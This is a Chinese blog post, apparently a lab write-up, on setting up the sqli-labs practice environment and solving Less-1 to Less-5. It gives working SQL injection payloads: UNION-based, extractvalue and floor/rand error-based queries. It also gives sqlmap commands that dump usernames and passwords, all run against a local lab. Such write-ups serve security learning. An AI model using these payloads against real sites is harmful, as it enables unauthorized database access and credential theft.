sqli-labs-master环境搭建以及Less1-5

sqli-labs-master环境搭建以及Less1-5

安装

Sqli-labs项目地址—Github获取:https://github.com/Audi-1/sqli-labs

phpstudy开启apache+mysql

将下载内容放入根目录

修改sql-connections/db-creds.inc文件当中的mysql账号密码

均修改为root

出现问题 搜索得到php版本过高 phpstudy更换为5点几的低版本

Less-1

GET - Error based - Single quotes - String

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

单引号注入

image-20220112154728667

数据库报错 单引号成功被数据库解析

可以通过闭合id这个参数 插入自己构造的sql注入语句

?id=1 ' order by 1 %23                   1
?id=1 ' order by 2 %23                   1
?id=1 ' order by 3 %23                   1
?id=1 ' order by 4 %23                   0

image-20220112155342804

意思就是没有第四个字段,也就可以推断原本的sql语句只是有用到了三个字段

1、手工UNION联合查询注入

因为sql语句的执行结果只有第一行会被回显在页面上,所以我们要把原始语句的的结果集变为空,这样我们想要的结果才能显示在界面上,现在我们又需要确定哪几个字段会被显示在页面上:

?id=' union select 1,2,3 %23

在爆出表

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

image-20220112155813172

 

 

爆列(字段)

?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

image-20220112162104893

爆值

?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+

image-20220112162152620

2、手工报错型注入

爆表

?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

爆列(字段)

?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

爆值

?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+

3、sqlmap工具注入

sqlmap -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql –batch –v 0
sqlmap -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql --dbs --batch -v 0
sqlmap -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security --tables --batch -v 0
sqlmap -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security -T users --columns --batch -v 0
sqlmap -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security -T users -C username,password --dump --batch -v 0

Less-2

GET - Error based - Intiger based

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

不需要单引号闭合

Less-3

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

1’)进行闭合

Less-4

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

1“)

Less-5

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

联合查询无反应 考虑报错注入

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

https://blog.csdn.net/silence1_/article/details/90812612

?id=1' union select null,count(*),concat((select database()),floor(rand()*2))as a from information_schema.tables group by a#

 

 

posted @ 2022-01-13 12:54  m1m0ry  阅读(324)  评论(0编辑  收藏  举报